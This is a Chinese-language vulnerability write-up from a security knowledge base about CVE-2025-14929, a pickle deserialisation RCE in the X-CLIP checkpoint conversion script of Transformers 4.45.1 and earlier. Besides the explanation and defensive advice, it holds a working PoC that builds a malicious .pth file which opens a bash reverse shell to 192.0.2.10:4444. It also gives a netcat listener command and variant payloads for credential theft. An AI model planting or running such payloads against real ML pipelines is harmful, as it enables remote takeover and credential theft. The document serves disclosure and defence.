♧ Godown 安全知识树

Transformers ≤4.45.1 模型转换脚本 torch.load 未校验:加载不可信 .pth 触发 pickle 反序列化 RCE(CVE-2025-14929)

ai-security/supply-chain · verified

一句话结论

Transformers ≤4.45.1 的 X-CLIP 模型转换脚本 convert_xclip_original_pytorch_checkpoint_to_hf.py 在 convert_xclip_checkpoint 中直接对下载/指定的 checkpoint 调用 torch.load(..., map_location="cpu"),未做签名或格式校验;攻击者提供一个带 __reduce__ 的恶意 .pth,脚本运行时会执行其中的任意命令(CVE-2025-14929)。

原理

  • 入口:转换脚本按 checkpoint_url 下载模型:若 URL 含 drive,先 cached_download 到 pytorch_model.bin,再 torch.load(output, map_location="cpu")["model"];否则走 torch.hub.load_state_dict_from_url(checkpoint_url)["model"],底层同样是 torch.load。
  • pickle 默认反序列化:torch.load 默认使用 pickle;反序列化到自定义类实例时会调用其 __reduce__,返回的 (callable, args) 会被执行。因此 .pth 文件的内容不限于张量,可以是任意可执行载荷。
  • 缺少校验:脚本没有验证模型文件来源、哈希、签名,也没有限制 pickle opcode 或危险全局名,更没有设置 weights_only=True;map_location="cpu" 只影响张量落点,不影响反序列化执行。
  • 危害边界:代码以运行转换脚本的用户权限执行;若用户具备出站网络,可直接反弹 Shell;若在 CI/训练集群中运行,可进一步读取凭据、模型与数据集。
  • 为什么模型文件能骗过用户:.pth 是 PyTorch 常见权重格式,文件名与正常 checkpoint 无异;恶意对象可以和真实权重张量混在同一字典里,加载后仍能返回可用的 state_dict,隐蔽性较高。

触发条件

  • Transformers 版本 ≤4.45.1,且使用仓库中的 X-CLIP 转换脚本(或复制了相同 torch.load 逻辑的自定义脚本)。
  • 攻击者能控制脚本的 checkpoint_url/本地 checkpoint 路径,或诱导受害者下载恶意 .pth 后运行转换。
  • 转换脚本运行环境允许代码执行(Python 进程权限)且需要网络出站(反弹 Shell)或本地命令执行。
  • 未使用 weights_only=True、未做模型文件扫描或沙箱隔离。

利用步骤

  1. 构造恶意 checkpoint:定义一个实现 __reduce__ 的类,返回 (os.system, (cmd,)),把该对象与正常的 visual.proj、text_projection、logit_scale 等张量一起 torch.save 成 .pth。
  2. 把恶意 .pth 放到攻击者可控的 URL/网盘/本地路径,或替换受害者准备转换的 checkpoint。
  3. 在攻击端监听端口(如 nc -lnvp 4444)。
  4. 诱导受害者运行 python convert_xclip_original_pytorch_checkpoint_to_hf.py --checkpoint_url <恶意地址>(或等价的转换调用)。
  5. 脚本下载后调用 torch.load,反序列化触发 os.system,反弹 Shell 连接回攻击端。
  6. 在授权测试中用 id/touch 等无害命令替代反弹 Shell,确认代码执行即可。

PoC

恶意 .pth 生成(仅用于授权测试):

import os, torch

class MaliciousPayload:
    def __reduce__(self):
        cmd = "bash -c 'bash -i >& /dev/tcp/192.0.2.10/4444 0>&1'"
        return (os.system, (cmd,))

checkpoint = {
    "visual.proj": torch.randn(512, 512),
    "text_projection": torch.randn(512, 512),
    "logit_scale": torch.tensor(100.0),
    "malicious_code": MaliciousPayload(),
}
torch.save(checkpoint, "malicious_xclip.pth")

触发(与转换脚本中的逻辑一致):

import torch
checkpoint = torch.load("malicious_xclip.pth", map_location="cpu")

脚本实际路径为 convert_xclip_original_pytorch_checkpoint_to_hf.py 的 convert_xclip_checkpoint:URL 含 drive 时先 cached_download 再 torch.load(output, map_location="cpu")["model"];否则用 torch.hub.load_state_dict_from_url(checkpoint_url)["model"]。原文在 Kali + Python 3.13 + PyTorch 2.5.0+cpu + Transformers 4.45.1 环境复现,成功反弹 Shell。

变体与关联

  • 变体:把载荷换成下载二阶段、写入 ~/.ssh/authorized_keys、窃取环境变量/云凭据,或只做无网络的文件写入验证。
  • 变体:同一脚本的 torch.hub.load_state_dict_from_url 分支也会 torch.load;任何接受外部 checkpoint URL 的转换脚本都可复用该模式。
  • 变体:用 weights_only=True 可阻断大多数 pickle 执行,但需确认脚本内所有 torch.load 调用都已加固;旧版 PyTorch 的 weights_only 也可能被绕过。
  • 关联:[[ai-security-supply-chain-huggingface-pickle-model-reverse-shell]](通用恶意 PyTorch 模型 pickle 反弹 Shell)、[[ai-security-supply-chain-llamafactory-value-head-torch-load-pickle-rce]](LLaMA-Factory torch.load 未设 weights_only)、[[ai-security-supply-chain-vllm-torch-load-weights-only-pickle-rce]](vLLM 同类 CVE)、[[web-python-deserialization-pickle-codetype-function-hijack]](pickle 反序列化执行原语)。

检测与防御

  • 升级 Transformers 到修复版本;在转换脚本的所有 torch.load 调用上加 weights_only=True,并对 checkpoint 做来源、哈希、签名校验。
  • 对不可信模型文件先用 Fickling/ModelScan 等工具扫描 pickle opcode、__reduce__、GLOBAL/STACK_GLOBAL、os.system、subprocess 等特征;优先使用 safetensors。
  • 在沙箱/容器中运行转换脚本,默认禁止出站网络,限制文件系统与凭据;高风险 checkpoint 先在隔离环境验证。
  • 检测:转换进程出现异常子进程(bash/sh/powershell)、对外连接、DNS 查询,以及 .pth 中出现与权重无关的 Python 对象。
  • 响应:隔离恶意 checkpoint,阻断 C2 地址,排查运行转换脚本的用户凭据与训练集群权限,轮换可能泄露的密钥。